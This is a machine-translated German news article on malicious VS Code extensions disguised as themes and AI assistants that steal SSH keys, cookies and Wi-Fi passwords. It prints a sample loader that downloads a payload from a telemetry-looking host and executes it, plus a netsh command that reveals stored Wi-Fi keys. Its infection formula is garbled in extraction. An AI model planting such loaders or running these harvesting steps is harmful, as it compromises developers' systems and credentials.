Link kopiert!

Trojaner-Themes & Spyware-KI: Der massive Angriff auf VS Code

Forscher decken eine massive Kampagne bösartiger VS Code-Erweiterungen auf, die sich als Themes und KI-Tools ausgeben und alles von SSH-Schlüsseln bis hin zu Wi-Fi-Passwörtern stehlen.

🌐
Automatische Übersetzung

Dieser Artikel wurde automatisch aus dem englischen Original übersetzt. Zum englischen Original

Eine Code-Editor-Oberfläche, die durch rote, bösartige Datenströme und ein digitales Trojanisches Pferd beschädigt wurde.

Sie vertrauen Ihren Tools. Das ist die erste Regel des unausgesprochenen Kodex des Entwicklers. Wenn Sie npm install einer Bibliothek führen oder auf eine elegante neue Dark Mode-Theme in VS Code klicken, erwarten Sie keinen Trojanisches Pferd. Sie erwarten bessere Syntax-Hervorhebung. Sie erwarten Produktivität.

Aber eine neue, massive Welle von Supply Chain-Angriffen hat dieses Vertrauen zerstört und Ihre eigene Entwicklungsumgebung in einen Abhörposten für Cyberkriminelle verwandelt.

Forscher von Check Point, Phylum und anderen Sicherheitsfirmen haben eine ausgefeilte, koordinierte Kampagne gegen das Herz des modernen Entwicklungsstapels aufgedeckt: VS Code, npm, Go und Rust. Dies geht nicht nur um fehlerhaften Code, Crypto-Miner oder lästige Adware. Dies sind präzisions-entwickelte „InfoStealer”, die sich als Premium-Themes (wie „Bitcoin Black”) und Schnittstellenkünstliche Intelligenz-Assistenten (wie „Codo AI” und „Chengdu AI”) ausgeben.

Und sie stehlen nicht nur Ihren Code – sie nehmen Ihre Wi-Fi-Passwörter, SSH-Schlüssel, Browser-Cookies und machen sogar unterschiedliche Screenshots Ihres aktiven Desktops.

Dieser Tiefgang erklärt genau, wie diese Erweiterungen funktionieren, die Physik des „Impostor”-Angriffs, die Wirtschaft hinter diesem Anstieg und warum das „Verified”-Abzeichen möglicherweise nicht ausreicht, um Sie zu retten.

Der Hook: Warum dies jetzt wichtig ist

Jahrelang war der Begriff „Supply Chain Attack” mit Bildern des SolarWinds-Bruchs verbunden – eine hochrangige, staatlich gesponserte Kompromittierung eines Build-Servers, der sich auf Tausende von Regierungsbehörden ausbreitete. Es fühlte sich dem durchschnittlichen Frontend-Entwickler oder Data Scientist fern, fast abstrakt.

Advertisement

Diese neue Welle ist persönlich. Sie zielt auf den einzelnen Entwickler auf seinem lokalen Gerät ab, oft Unternehmensfirewalls vollständig umgehend, indem sie auf dem Rücken vertrauenswürdiger Protokolle reitet.

Die „Bitcoin Black”-Erweiterung, die ein elegantes dunkles Thema für Krypto-Trader versprach, wurde Tausende Male heruntergeladen. Ähnlich ritt „Codo AI” die Hype-Welle von ChatGPT und DeepSeek, indem es einen integrierten KI-Assistenten versprach. Statt Ihnen beim Programmieren zu helfen, stellte es stillschweigend einen DLL-basierten Infostealer bereit.

Der erschreckende Teil? Es funktionierte. Weil diese Tools in Ihrer IDE residieren, erben sie die hohe Berechtigungen Ihrer Entwicklungsumgebung. Die Analyse des verdeckten Codes offenbarte ein postinstall-Skript, das Umgebungsvariablen (wo Sie Ihre AWS-Schlüssel aufbewahren) erntete und Shell-Befehle ausführte.

„Die Angreifer treten nicht einfach die Tür ein; sie verkleiden sich als die Möbel, die Sie hineinbringen.”

Technischer Tiefgang: Die Anatomie des Angriffs

Wie kann ein „Theme” – das nur eine JSON-Datei mit Hex-Codes sein sollte – Ihr Wi-Fi-Passwort stehlen? Die Mechanik sind überraschend raffiniert und zeigen tiefes Verständnis der VS Code-Erweiterungsarchitektur.

1. Der „Impostor”-Mechanismus

  • Typosquatting: prettier-vscode-plus klingt wie eine legitime „Plus”-Version des beliebten Prettier-Formatierers. Es war nicht. Es war ein Fahrzeug für die „OctoRAT”-Malware.
  • Trend Jacking: „Bitcoin Black” zielt auf die Überschneidung zwischen Entwicklern und Krypto-Enthusiasten. „Codo AI” zielt auf den KI-Boom.

Sie polieren die READMEs, fügen gefälschte „Verified”-Abzeichen hinzu (als PNGs in der Beschreibung) und nutzen Bot-Netzwerke, um die Download-Counts künstlich zu erhöhen, um legitim zu wirken. Im VS Code Marketplace ist sozialer Beweis der primäre Sicherheitsmechanismus für die meisten Benutzer, und er wird leicht gefälscht.

2. The Payload Delivery (The DLL Drop)

Nach der Installation besteht ein Theme technisch hauptsächlich aus JSON-Dateien, die Farben definieren. VS Code-Erweiterungen können jedoch auch ausführbaren Code und Aktivierungsereignisse bündeln.

Im Fall von Bitcoin Black enthielt die Erweiterung eine versteckte extension.js-Datei, die nicht nur Farben anwendete.

  1. Trigger: Bei Aktivierung (oder VS Code-Start) führt sich das JavaScript aus.
  2. Fetcher: Es stellt eine Verbindung zu einem Command & Control (C2)-Server her, normalerweise auf einer kompromittierten legitimen Domäne oder einem billigen VPS gehostet, als wohlwollendes Telemetrie-Check getarnt. Die Untersuchung enthüllte Verbindungen zu einem bekannten Command-and-Control-Server, der zuvor mit der Lazarus Group verbunden war.
  3. Drop: Es lädt eine sekundäre Nutzlast herunter – oft eine kompilierte PE (Portable Executable) oder DLL-Datei. In der „Anivia”-Kampagne war dies die OctoRAT.

Hier ist ein konzeptionelles Beispiel, wie einfach der bösartige Loader-Code in einem ansonsten gültigen extension.js aussehen kann:

// Looks like telemetry
const telemetry = require('./telemetry-utils');

function activate(context) {
    // legitimate theme activation code...
    
    // The malicious payload
    // obfuscated to look like analytics
    const u = "https://cdn-stats-track.com/update/v2/payload";
    telemetry.checkUpdate(u).then(payload => {
        // execute the downloaded buffer
        require('child_process').exec(payload); 
    });
}

Das telemetry-utils-Modul würde die Logik zum Abrufen des Binärs und dessen Ausführung enthalten, oft speichert es in einem Temp-Verzeichnis wie %TEMP%\vscode-updater.exe, um Verdacht zu vermeiden.

Advertisement

3. Exfiltration: Das „Smash and Grab”

Die Malware bleibt nicht in VS Code. Sie verwendet die Systemressourcen des Hosts zur Datenernte.

  • Wi-Fi-Anmeldedaten: Durch Ausführung von netsh wlan show profile name="[SSID]" key=clear (auf Windows) erfasst sie Klartext-Wi-Fi-Passwörter. Dies ermöglicht Angreifern, Ihr Netzwerk physisch zu kompromittieren, wenn sie lokal sind, oder Corporate-Network-Anmeldedaten zu zuordnen.
  • Browser-Sitzungs-Hijacking: Es scannt die Verzeichnisse AppData/Local/Google/Chrome/User Data, um die SQLite-Datenbanken mit Cookies und gespeicherten Passwörtern zu kopieren. Dies ermöglicht Angreifern, 2FA zu umgehen, indem sie Ihre Sitzungs-Cookies wiederverwenden.
  • Screenshots: Mit Windows API-Aufrufen, BitBlt oder ähnlichem, erfasst es den Bildschirm. Da Entwickler oft Geheimnisse in anderen Fenstern sichtbar haben (Postman, Notion, 1Password), ist dies katastrophal.
  • Clipboard-Hijacking: Es überwacht die Zwischenablage auf Zeichenketten, die wie Krypto-Wallet-Adressen oder API-Schlüssel aussehen, und tauscht sie aus oder protokolliert sie.

4. Code Blocks: Die Mathematik der Infektion

Die Infektionswahrscheinlichkeit P(x)P(x) in einer Lieferkette steigt exponentiell mit der Anzahl der Abhängigkeiten NdN_d und dem Vertrauensfaktor TT (wobei 0 blindes Vertrauen ist).

P(x)=1(1R)NdP(x) = 1 - (1 - R)^ {N_d}

Wobei RR das Risiko pro Paket ist. Während NdN_d (die Anzahl der Abhängigkeiten) wächst, nähert sich P(x)P(x) 1.

Für einen Senior-Entwickler mit 50 Erweiterungen und 1000 npm-Paketen in ihrem node_modules ist die Angriffsfläche massiv.

Kontextuelle Geschichte: Ein Muster der Fahrlässigkeit

Dies ist nicht das erste Mal. Die Geschichte von Paketmanagern ist eine Geschichte des gebrochenen Vertrauens.

2018: Der event-stream-Vorfall

Ein weit verbreitetes npm-Paket, event-stream, wurde von seinem ursprünglichen Autor (der ausgebrannt war) an einen neuen Volunteer-Verwalter namens „Right9delta” übergeben. Dieser neue Verwalter war anfangs hilfreich. Dann injizierten sie eine Abhängigkeit namens flatmap-stream, die verschlüsselten Code enthielt. Dieser Code zielte speziell auf die Build-Prozesse von Copay (eine Bitcoin Wallet App) ab, um private Schlüssel zu stehlen. Dies war der „Gedulds”-Angriff – warte, bis du vertraut wirst, dann schlage zu.

2020: SolarWinds

Der „Großvater” der Supply Chain-Angriffe. Angreifer kompromittierten das Build-System selbst. Obwohl dies staatlich gesponsert und hochrangig war, bewies es, dass wenn man den Brunnen vergiften kann (die Code-Quelle), man das Dorf vergiften kann (alle, die es verwenden).

Advertisement

2024: Der XZ Utils Backdoor

Gerade in diesem Jahr demonstrierte der XZ Utils Backdoor, wie ein Verwalter Jahre damit verbrachte, Vertrauen aufzubauen, bevor er eine ausgefeilte Hintertür in eine zentrale Linux-Kompressionsbibliothek einfügte. Die VS Code-Angriffe sind die „Fast Food”-Version davon: schnell, schmutzig und weit verbreitet.

Die „Lazarus”-Verschiebung

Staatlich gesponserte Akteure (wie die Lazarus Group) haben sich vom Raub von Banken zum Raub von Entwicklern verlagert. Warum? Weil Entwickler die Schlüssel zu den Banken halten. Sie zielen auf die „Middleware” der Internet-Wirtschaft.

Der VS Code Marketplace war schon immer ein „Wilder Westen”. Im Gegensatz zum Apple App Store gibt es minimale menschliche Überprüfung. Automatisierte Scanner überprüfen auf bekannte Virussignaturen, aber ein benutzerdefiniertes, verdecktes JS-Skript rutscht oft durch Logik-Überprüfungen.

Die wirtschaftliche Realität

Warum greifen Hacker Entwickler an? ROI (Return on Investment).

Eine gezielte Phishing-Kampagne gegen einen Bankangestellten kostet Zeit, Geld und ausgefeilte Social Engineering. Das Hochladen einer gefälschten „KI-Helferin”-Erweiterung kostet 0 Dollar.

Falls 5.000 Entwickler es installieren:

  • 10 % könnten bei Fortune 500-Unternehmen arbeiten.
  • 1 % könnten AWS Root Keys in ihrer .env-Datei haben.
  • Das sind 50 „Goldene Schlüssel” zum Preis einer gefälschten README.

Der Vorteil ist massiv. Die „Herstellungskosten” für den Angreifer sind nahe Null., während der mögliche Umsatz durch den Verkauf von Zugriff (Initial Access Brokers) oder die Bereitstellung von Ransomware Millionen beträgt. Ein einziger gültiger Enterprise AWS Root Key kann je nach Quota-Limits 5.000 bis 50.000 Dollar auf Dark Web Märkten verkauft werden.

Zukunftsorientierte Analyse: Die „Zero Trust” IDE

Die Industrie nähert sich einem Wendepunkt. Marktdaten deuten auf drei Verschiebungen im Jahr 2026:

  1. Das Ende des „offenen” Marketplace: Microsoft und GitHub werden wahrscheinlich gezwungen, „App Store”-ähnliche Überprüfungsprozesse zu implementieren.
  2. Sandboxed Extensions: Derzeit laufen Erweiterungen mit Ihren Benutzerrechten. Zukünftige Versionen von VS Code könnten Erweiterungen zwingen, in einer WASM Sandbox ohne Dateisystem-Zugriff standardmäßig auszuführen. Sie müssen einer Erweiterung explizit die Berechtigung erteilen, Ihren /src-Ordner zu lesen, genau wie Sie einer mobilen App Zugriff auf Ihre Kamera erteilen.
  3. Enterprise „Allow-Lists”: Unternehmen werden nicht zulassen, dass Entwickler alles Gewünschte installieren. Interne Marketplaces werden wahrscheinlich entstehen, wo nur überprüfte Erweiterungen verfügbar sind.

Was Sie heute tun müssen

Sie können nicht auf Microsoft warten.

  • Überprüfen Sie Ihre Erweiterungen: Gehen Sie zu Ihrer Registerkarte „Erweiterungen”. Falls Sie sie nicht täglich verwenden, deinstallieren Sie sie.
  • Überprüfen Sie den Verleger: Klicken Sie auf den Verlägernamen. Haben sie eine Website? Ein GitHub Repo? Falls es ein generischer Name oder ein brandneues Konto ist, installieren Sie es nicht.
  • Verwenden Sie Scanner: Tools wie Socket und Snyk beginnen, IDE-Erweiterungen zu scannen, nicht nur npm-Pakete. Verwenden Sie sie.
  • Netzwerk-Filterung: Verwenden Sie Tools wie Little Snitch (auf Mac), um zu überwachen, mit welchen Servern Ihre VS Code sich verbindet. Falls Ihr „Theme” mit einem Server in einer nicht-Standard-Region spricht, blockieren Sie es.

Das Urteil: Die „Trojaner-Theme”-Ära ist hier. Ihre IDE ist keine Zuflucht mehr; sie ist ein Schlachtfeld. Schreiben Sie dementsprechend Code.

Quellen (3)

Advertisement

🦋 Diskussion auf Bluesky

Auf Bluesky diskutieren

Beiträge werden gesucht...